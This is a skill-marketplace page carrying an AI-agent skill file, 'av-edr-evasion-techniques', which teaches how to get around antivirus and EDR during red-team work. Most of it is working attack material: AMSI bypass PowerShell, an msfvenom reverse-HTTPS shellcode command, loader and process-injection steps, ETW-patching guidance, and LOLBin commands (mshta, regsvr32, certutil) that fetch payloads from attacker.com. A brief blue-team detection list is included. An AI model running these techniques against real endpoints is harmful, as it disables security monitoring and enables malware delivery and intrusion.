본문으로 건너뛰기
cccskills
무료GitHub에 공개

av-edr-evasion-techniques

Bypass antivirus and Endpoint Detection & Response solutions during red team operations using payload obfuscation, process injection, AMSI bypass, ETW patching, and custom loaders. Use this skill when AV/EDR is blocking your payloads, tooling, or post-exploitation activities. Covers shellcode encryption, syscall-based injection, unhooking techniques, and living-off-the-land approaches for opsec-safe red team operations.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

설치 방법 보기

포함된 파일(3)

  • SKILL.md9.8 KB
  • evals/evals.json536 B
  • scripts/process.py7.8 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

AV/EDR Evasion Techniques

When to Use

  • When AV/EDR blocks your payloads during red team operations
  • When you need to execute tools on endpoints with active security monitoring
  • When testing an organization's endpoint detection capabilities
  • When developing custom loaders for C2 implants

⚠️ WARNING: Only use on authorized engagements. EDR evasion without authorization is illegal.

Prerequisites

  • Active engagement with a defended target environment (EDR/AV present)
  • Understanding of the target's security stack (Defender, CrowdStrike, Carbon Black, etc.)
  • Payload development framework (msfvenom, Cobalt Strike, custom tooling)
  • Test environment matching the target OS/EDR for pre-engagement validation

Workflow

Phase 1: Target EDR Identification

# Identify installed security products
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select displayName
wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName

# Process-based detection
tasklist | findstr -i "MsMpEng CrowdStrike CSFalcon SentinelOne cylance cbdefense xagt"

# Modern EDR enumeration:
# CrowdStrike Falcon → CSFalconService, CSFalconContainer
# SentinelOne → SentinelAgent, SentinelStaticEngine
# Microsoft Defender for Endpoint → MsSense
# Carbon Black → CbDefense, RepMgr
# Cortex XDR → CryptSvc associated with Palo Alto
# Elastic EDR → elastic-agent, elastic-endpoint

# Check if Windows Defender is enabled
Get-MpComputerStatus | Select AntivirusEnabled, RealTimeProtectionEnabled

Phase 2: AMSI Bypass (PowerShell Context)

# AMSI (Antimalware Scan Interface) scans PowerShell, VBA, JScript, etc.

# Method 1: Memory patching (patch AmsiScanBuffer)
$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils')
$b=$a.GetField('am'+'siInitFailed','NonPublic,Static')
$b.SetValue($null,$true)

# Method 2: Context corruption
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null,[IntPtr]$mem)

# Method 3: String obfuscation of bypass
# Encode and decode at runtime to avoid static detection
$e = [System.Convert]::FromBase64String("BASE64_ENCODED_BYPASS")
$decoded = [System.Text.Encoding]::UTF8.GetString($e)
Invoke-Expression $decoded

# Method 4: Reflection-based (current at time of writing)
# These change frequently — always test before engagement

# Verify AMSI is bypassed:
# Try: Invoke-Mimikatz (should not trigger AMSI if bypassed)

Phase 3: Shellcode Encryption & Custom Loaders

// Concept: AES-encrypt shellcode, decrypt at runtime, inject into memory
// This avoids static pattern matching by AV

// Step 1: Generate raw shellcode from C2
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=IP LPORT=PORT -f raw > shell.bin
// Or export from Cobalt Strike as raw shellcode

// Step 2: Encrypt shellcode with AES-256
// python3 encrypt_shellcode.py shell.bin > encrypted.bin

// Step 3: Custom C# loader (conceptual structure):
// - Embed encrypted shellcode as resource
// - AES decrypt at runtime
// - Allocate executable memory (VirtualAlloc)
// - Copy decrypted shellcode to memory
// - Execute via CreateThread or callback

// Key evasion techniques in loader:
// - Sandbox detection (sleep, user interaction checks)
// - API call unhooking (direct syscalls)
// - Process injection instead of self-execution
// - Signed binary sideloading

Phase 4: Process Injection Techniques

// Common injection methods (from stealthiest to noisiest):

// 1. Early Bird APC Injection (very stealthy)
//    Create suspended process → Queue APC → Resume
//    Executes before EDR hooks are set up

// 2. Module Stomping / DLL Hollowing
//    Load legitimate DLL → Overwrite .text section with shellcode
//    Appears as legitimate module in memory

// 3. Thread Hijacking
//    Suspend existing thread → Modify context → Resume
//    No new thread creation (avoids CreateRemoteThread detection)

// 4. Process Hollowing
//    Create suspended process → Unmap → Map shellcode → Resume
//    Classic but well-detected by modern EDR

// 5. DLL Injection (CreateRemoteThread)
//    Load malicious DLL into target process
//    Most detected, use only as last resort

// Choose injection target wisely:
// GOOD: svchost.exe, RuntimeBroker.exe, explorer.exe (blend in)
// BAD: notepad.exe making network connections (suspicious)

Phase 5: ETW Patching (Disable Telemetry)

# ETW (Event Tracing for Windows) feeds data to EDR
# Patching ETW stops telemetry at the source

# Concept: Patch EtwEventWrite in ntdll.dll to return immediately
# This prevents .NET CLR events, process creation events, etc.
# from being sent to EDR

# Note: Implementation details intentionally abbreviated
# Full implementation requires understanding of:
# - ntdll.dll memory layout
# - x64 function patching
# - Thread safety considerations

# Alternative: Use direct syscalls to avoid ntdll hooks entirely
# Tools: SyscallWhispers, HellsGate, Syswhispers2/3

Phase 6: Living off the Land (LOLBins)

# Execute payloads using legitimate Windows binaries
# These bypass application whitelisting and raise fewer alerts

# Execution:
# mshta — Execute HTA files
mshta http://attacker.com/payload.hta
mshta "javascript:a=GetObject('script:http://attacker.com/payload.sct')"

# rundll32 — Execute DLL functions
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();

# regsvr32 — Execute scriptlet files
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

# certutil — Download files
certutil -urlcache -split -f http://attacker.com/payload.exe C:\temp\payload.exe

# msbuild — Execute inline C# code from XML
msbuild.exe malicious.csproj

# installutil — Load .NET assembly
InstallUtil.exe /logfile= /LogToConsole=false /U malicious.dll

# Reference: https://lolbas-project.github.io/

🔵 Blue Team Detection

  • Behavioral detection: Focus on behaviors (process injection, AMSI patching) not signatures
  • Memory scanning: Scan process memory for known implant patterns
  • ETW monitoring: Monitor for ETW patching attempts
  • AMSI logging: Alert on AMSI bypass indicators
  • Syscall monitoring: Detect direct syscalls bypassing ntdll hooks
  • LOLBin monitoring: Alert on suspicious use of legitimate binaries

Key Concepts

ConceptDescription
AMSIWindows' Antimalware Scan Interface for script-based attacks
ETWEvent Tracing for Windows — telemetry pipeline EDR relies on
Process injectionExecuting code in another process's memory space
SyscallsCalling kernel functions directly, bypassing user-mode hooks
LOLBinsLegitimate binaries abused for malicious purposes
Shellcode loaderCustom program that decrypts and executes shellcode in memory
Module stompingOverwriting a legitimate DLL's code section with shellcode

Output Format

AV/EDR Evasion Assessment Report
==================================
Target EDR: CrowdStrike Falcon (v6.x)
Evasion Achieved: YES (full bypass)

Techniques Used:
1. AMSI patched successfully (PowerShell execution unblocked)
2. ETW patched (telemetry disabled)
3. Custom AES-encrypted shellcode loader → Beacon deployed
4. Process injection via Early Bird APC into svchost.exe
5. C2 communication via HTTPS mimicking Microsoft Teams traffic

Detection Gaps:
- No alert generated for AMSI bypass
- Process injection not detected (Early Bird technique)
- Custom loader passed static and behavioral analysis
- Network traffic blended with legitimate Teams traffic

Recommendations:
1. Enable kernel-level ETW protection
2. Implement AMSI provider hardening
3. Deploy memory scanning for known implant patterns
4. Monitor for suspicious parent-child process relationships

🛡️ Remediation & Mitigation Strategy

  • Input Validation: Sanitize and strictly type-check all inputs.
  • Least Privilege: Constrain component execution bounds.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

ShulkwiSEC의 스킬 모두 보기

이 스킬의 문제 신고